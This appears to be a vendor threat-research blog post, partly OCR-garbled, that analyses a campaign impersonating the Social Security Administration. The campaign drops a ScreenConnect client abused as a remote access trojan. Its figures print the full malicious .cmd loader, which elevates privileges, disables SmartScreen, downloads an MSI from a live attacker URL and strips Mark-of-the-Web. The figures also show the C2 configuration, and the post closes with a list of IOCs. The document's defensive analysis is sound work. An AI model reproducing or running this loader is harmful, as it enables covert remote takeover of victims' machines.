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ConnectWise ScreenConnect is a secure remote access tool used by IT teams to troubleshoot
and manage devices remotely. Attacks against ConnectWise ScreenConnect have increased
recently, because attackers are taking advantage of known vulnerabilities in unpatched systems.
They use these weaknesses to gain initial access, then they install malware, backdoors or even
ransomware. In many cases, ScreenConnect is exploited as a legitimate remote access tool to
stay hidden longer. Overall, ScreenConnect has become a more common target as attackers look
for easy entry points into networks. Observed by X-labs researchers, this blog post examines an
attack chain in which a spoofed email delivers a malicious .cmd attachment that executes silently,
escalates privileges, disables Windows SmartScreen, removes the Mark-of-the-Web to bypass
security warnings and ultimately installs a legitimate Remote Monitoring and Management (RMM)
tool ScreenConnect which is abused as a Remote Access Trojan (RAT) to establish persistent
command-and-control access.

This campaign targets organizations across the United States, Canada, United Kingdom and
Northern Ireland, focusing on sectors with high-value data, including government, healthcare and
logistics companies.
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Fig. 1 - Attack chain

Email Analysis:

This email impersonates the U.S. Social Security Administration but uses the fake domain
SSA[.]JCOM instead of ssa.gov, contains spelling errors (e.g., "eStatemet"), mismatched recipient
fields and a vague subject meant to stoke curiosity.
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eStatement

.
e SSA GOV <eStatemet@SSA.COM> ot i d

70 -y 2026
@ If there are problems with how this message is displayed, click here to view it in a web browser.

5 SSA_GOV_eStatement.rar 7
877 bytes

Social Security Statem=nt Update

It's official! Your updated statement is up and r=nning. Just download your statement attached
to this email.

Accessibility support Privacy policy FOIA reg=ests Civil Rights/Compliance Office of the Inspector General Office of=20
the Chief Actuary Performance reports

Fig. 2 - Email sample

Archived .CMD Analysis:

This .cmd script is designed for stealthy malware installation with system-level persistence. It first

checks for administrator privileges and silently auto-elevates via UAC using PowerShell (Start-
Process -Verb RunAs), a common attacker technique to gain full control without user
understanding.
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y— 3 ——= 1 ==

q: fecho off

2 setlocal EnableExtensions EnableDelayedExpansion

3

4 e S

5 :: RButo-elevate (UAC only, no warning screen)

B ot mmmmmmmmmmm e

7 net session >nul 2>&l

8 if %errorlevel% neq 0 (

g powershell -WindowStyle Hidden -Command ~

10 "Start-Process "%~£f0' -Verb RunAs"™

1zl exit /b

12 |

13 e

14 :: Disable Windows SmartScreen (silent)

L6 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" ~
17 /v SmartScreenEnabled /t REG_SZ /d Off /f >nul 2>&l
18

19 taskkill /f /im explorer.exe >nul 2>&l

20 start explorer.exe >nul 2>&l

2l

23 :: Download MSI silently

24 Il S=======sss=ssssssssssssssssosooosssoooss====

25 set "SC URL=http://delwayne.alwaysdata.net/Windowsetup.msi"
26 set "SCIPATHZ%TEMP%NWindowsExplorerSupport.msi“

A1)

28 powershell -WindowStyle Hidden -Command ~

29 "Invoke-WebRequest -Uri '$SC_URL%' -OutFile '$SC_PATH%' -UseBasicParsing"
30

31 e S
32 :: Remove Mark-of-the-Web

33 1l SSS=S==ssSsS=sssSsSSsSsssssosoosSsssossosos=ssss==o
34 powershell -WindowStyle Hidden -Command

35 "Unblock-File -Path '$SC_PATH%'"

36

37 ===================——=============—=========
38 :: Silent MSI install

39 ! S===========================================
40 msiexec /i "%SC_PATH%" /gn /norestart

i1

42 exit

AT

Fig. 3 - .cmd script

Once elevated, it disables Windows SmartScreen by modifying a registry key and forcibly restarts
Explorer to apply the change, weakening the systems built-in defenses. From there, it downloads
an external MSl installer over plain HTTP (no encryption, no integrity checks) from a non-trusted

URL hxxps://delwayne[.]alwaysdata[.Jnet/Windowsetup[.Jmsi, saves it to the temp directory under
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a misleading name and removes the Mark-of-the-Web by removing zone. Finally, it uses Alternate
Data Stream(ADS) to bypass Windows security warnings and finally performs a fully silent MSI

installation (/gn) with no user interaction or visibility.

Overall, this script matches malware loader behaviour, using defence evasion, privilege escalation

and covert payload delivery.

MSI Analysis:

PowerShell invokes msiexec to extracts and install ScreenConnect components including

executable, DLLs and config files.

MName

L] app.config

.j Client.en-US.resources

|| Client.Override.en-US.resources

j Client.Override.resources

J Clientresources

[+] ScreenConnect.Client.dll

%] ScreenConnect.ClientService.dll

._f] ScreenConnect.Core.dll

%] ScreenConnect Windows.dl|

J ScreenConnect WindowsAuthenticationP...

‘&7 ScreenConnect. WindowsBackstageShell.e...
O ScreenConnect WindowsBackstageShell.e...

[®7] ScreenConnect WindowsClient.exe

O ScreenConnect. WindowsClient.exe.config

J ScreenConnect WindowsCredentialProvid...

' ScreenConnect WindowsFileManager.exe

UJ ScreenConnect WindowsFileManager.exe....

J ServiceExeWithoutService
% ServiceExeWithService.exe

j system.config

Date modified

08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:34
08-04-2025 18:35
27-03-2025 18:12
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:36
08-04-2025 18:36
08-04-2025 18:15
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35
08-04-2025 18:35

Type

CONFIG File

RESOURCES File
RESOURCES File
RESOURCES File
RESOURCES File

Application extens...
Application extens...
Application extens...
Application extens...

Application extens...

Application
CONFIG File
Application
CONFIG File

Application extens...

Application
CONFIG File
File

Application
CONFIG File

Size

1KB
32 KB
1KB
32 KB
29 KB
193 KB
67 KB
538 KB
1,689 KB
255 KB
60 KB
1KEB
594 KB
1KEB
837 KB
80 KB
1KB
94 KB
94 KB
1KB

Fig. 4 - MSI dropped files

After installation it invokes ScreenConnect.ClientService.exe with specific parameters mentioned

in System.config.
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<?xml version="1.0" encoding="utf-8"7>
<configuration>
<configSections>
<section name="ScreenConnect.ApplicationSettings" type=
"System.Configuration.ClientSettingsSection, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089" />
</configSections>
<ScreenConnect.ApplicationSettings>
<setting name="ClientLaunchParametersConstraint" serializels="String">
<value>?h=dof-connect. topiamp,;p=80415amp;
k=BgIAAACKAABSUOExAAgARARAAQD /qDLEKXRINsdoXzvL78RAYMLNkg0rdtTDANOHFVBPO£9vVI+/Xsu
Mg9tHJJ9EN/d+617cIJHXTI+1WnevbmCq0gt3ME /2 4xA0JUYeQDXhEN3y4mZV8mT 7 Tk J1hdX3gsjoka /24
zL4x0KouPTJYZKQEIasz5zkr23u6DAeUhAt6/g8A0k jMePWce +102m/wrsDhoo916baR3DIhhXCCEPPR
iL6JcbKSVIEMPYPm5GCURY /PeToY+74SfB68AKbzY1i8hCAoeUZP1uP5COBOne3F72zVLLAiC5bgTOtQery
QvT4/5mECRt3YJ5j0mFg8C2H5cu2dBIeEfcRmev/oWIiZe< /value>
</setting>
</ScreenConnect.ApplicationSettings>
<fconfiquration>

Fig. 5 - System.config file

This config tells the ScreenConnect client which server to connect to:

e h=dof-connect[.]Jtop — the remote server address
e p=8041 — the network port it should use
o k= is a security key (encryption/authentication key) and it proves the client is allowed to

connect to that server
e ClientLaunchParametersConstraint setting means = “Only allow the client to start if these

exact connection details are used”

ScreenConnect Binary Analysis:

ScreenConnect.ClientService.exe is a part of the ScreenConnect tool made by ConnectWise. It
runs in the background and allows someone to remotely access or control your computer for
support or meetings.

Its .NET client 25.2.4.9229 version is signed certificate, but it's one that was explicitly revoked by
its issuer.
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Fig. 6 - ScreenConnect.ClientService.exe file info

After executed by the MSI file, it reads values from mentioned in system.config and starts
connection with malicious remote server.

Executed Process with parameters:

C:\Program Files (x86)\ScreenConnect Client (session-1D)\ScreenConnect.ClientService.exe"”
"Ze=Access&y=Guest&h=dof-connect]. Jtop&p=80418&s=c3d267/3a-e6ad-4ddae-bBec-
db4ed9ch28bf&k=BglAAACKAABSUOEXAASAAAEAAQD % 2fgDLKKXRINsdoXzvl 78RAYMLNkgOrdtTDIN
OHFvBPOfOvV9%2h%2fXsuMg9tHUSAN%62fd%62b6 1 7cHxTI%2blWnevbmCqlgt3ME % 2f24xA0IUYeQ
DXhEN3ydmZVBmT7 7k T1hdX3gsjoka®e2fZ4z1 4x0KouPTIYZKQElasz5zkr23ubDAe UhATt6 %0 2fgBAOkiMeP
Weel92bl02m%e2fwrsDhoo8l6baR3DIWhXCCIPPRILEIcbKEVIEMPYPmMSGeURY % 2fPe /oY% 2h 745fB6
8AKbzYi8hCAoeUZPIuPSCOBONe3F7zVLLAICEbgTOtQernyQvT4%:2fomECRt3YI5j0mFg8C2H5cu2dBleE
BcRmevis2foWliZe

dni@ NE QeumEF 4
A |ipaddr == 3157.147.2

JEaaal

Mo Time Source Destination Protocod Lengtl Info
16895 38.361992 192. 166 G0 31.57.147.2 TCP 66 49764 + B4l [SYN] Seq=8 Win=64248 Len=0 M55-1468 WS=256 SACK_PERM
16896 38.451668 31.57.147.2 192.168 . SEED TP 66 BB41 + 49764 [SYN, ACK] Seqed Acksl Win=B192 LensB M5S=1131 WS=256 SACK_PERM
16898 38.451989 152.165 S 31.57.147.2 TCP 54 49764 + 8841 [ACK] Seqel Ack=1 Win=262144 Len=@
16899 39.322439 192.168. 6% 31.57.147.2 TCP 391 49764 » 8841 [PSH, ACK] Seq=1 Ack=1 Win=262144 Len=337
16969 39.415952 31.57.147.2 192. 165 AN TP 88 8341 + 49764 [PSH, ACK] Seq=1 Ack=338 Win=131872 Len=34

Frame 16899: Packet, 391 bytes on wire (3128 bitc), 391 bytes captured (3128 bits) dd da 6d 23 c4 be ca 58 e5 9 6B b7 BE 0@ 45 00 mE K E

Ethernet II, Src: ca:58:e5:¢9:80:b7 (ca:58:e5:c9:80:b7), Dst: dd:da:6d:23:cd:be (d4:da 81 79 a3 b3 4‘: 02 E‘a 86 Te df B aB 54 08 1f 39 ¥ df_ wessog- 49
. 93 82 c2 64 1T 69 be 52 27 51 dB 11 c7 1 50 18 i-2 "¢ P

Int t Protocol W 4, Src: 192,163 SN D:t: 31.57.147.2

e e, 'r" : ] 04 00 93 35 60 80 57 1d 10 OO 0° B3 B2 08 B9 60 5

Transmission Control Protocol, Sec Port: 49764, Dst Port: 8841, Seq: 1, Ack: 1, Len: 1 00 00 00 00 0O 00 P2 9D PO B4 B9 1d 6 5d BF 64 1.4

v Data (337 bytes)

6f 66 2d 63 6f Ge Ge 65

63 74 2e 74 6f 7O 01 19

of -conne ct.top

Data [-]: B71d100000000000000000000000000000000004891dFE5d0TE46f662d636f0ebeB503T42 62 84 84 48 80 02 87 39 89 3d fb 7c 9b ac 69 ad Ho-e9 o=

[Length: 337] 25 71 76 99 12 86 06 49 le 6c 9d a3 33 b0 F3 ec  ¥gv----I <193
db 3b ba db 19 92 a7 2b dB db 9 1e 3c 1d Of d8 : + ¢
bl ed f2 68 36 82 96 6b 16 2f 2% 54 9c aZ? 11 8e 6ok T
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Fig. 7 - C2 traffic

The client establishes a network session with the remote command-and-control domain dof-
connect[.]top, after which the host begins exhibiting Remote Access Trojan (RAT)-style behaviours
and data exfiltration activity. It then encrypts data with a session key while it uploads in chunks to
the C2 server. This domain belongs to Iran’s network infrastructure by “Aria Shatel Company Ltd”.

What This ScreenConnect Attack Means for Defenders

This analysis highlights how attackers can weaponize legitimate but vulnerable or untrusted
software versions to bypass enterprise defenses. In this campaign, a signed ScreenConnect client
with a certificate that has been explicitly revoked by the vendor is being silently deployed after
disabling SmartScreen and stripping the Mark-of-the-Web tag, allowing execution without
reputation-based blocking or user prompts.

By abusing an outdated or revoked RMM client as a Remote Access Trojan (RAT), the attacker
achieves persistent, unauthorized remote control while evading traditional detection mechanisms.
This case reinforces the importance of blocking revoked or vulnerable software versions,
enforcing strict RMM allowlists and actively monitoring for security control tampering as part of a
modern defense strategy.

Protection Statement:

Forcepoint customers are protected against this threat at the following stages of attack:

e Lure — Malicious .cmd attachments associated with these attacks are identified and blocked.
» Dropper File - The dropper files are added to Forcepoint malicious database and are
blocked.

e Call Home - Blocked C2 credentials
NGFW

e The file download with PowerShell is detected with fingerprint HTTP_CSH-Native-
PowerShell-User-Agent , which is terminated in default inspection policies.

o The malicious MSI and RAR files are blocked by the GTI file reputation service if it is
enabled.

I0Cs:

Hashes:

» 48A5034E75B526E1A9371B4E728B02FB81D2C7C1 - RAR
o OFAOO8DFD45F39879412275D1A4C178CF7AFFAEZ2 - cmd
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o 46FCE36F4901D6ACF19AAAA9CBD1A14DF6D6AASS - MSI
» B46C4E4694783311E2C612ED7FOCAG7A88E1E352 - EXE
» FDE73710CE063BBF1E377C02A1A8615CF4DA1C08 — DLL

URLs:
hxxps://delwayne[.]Jalwaysdata[.]Jnet/Windowsetup[.]msi
C2s:

dof-connect|[.]top
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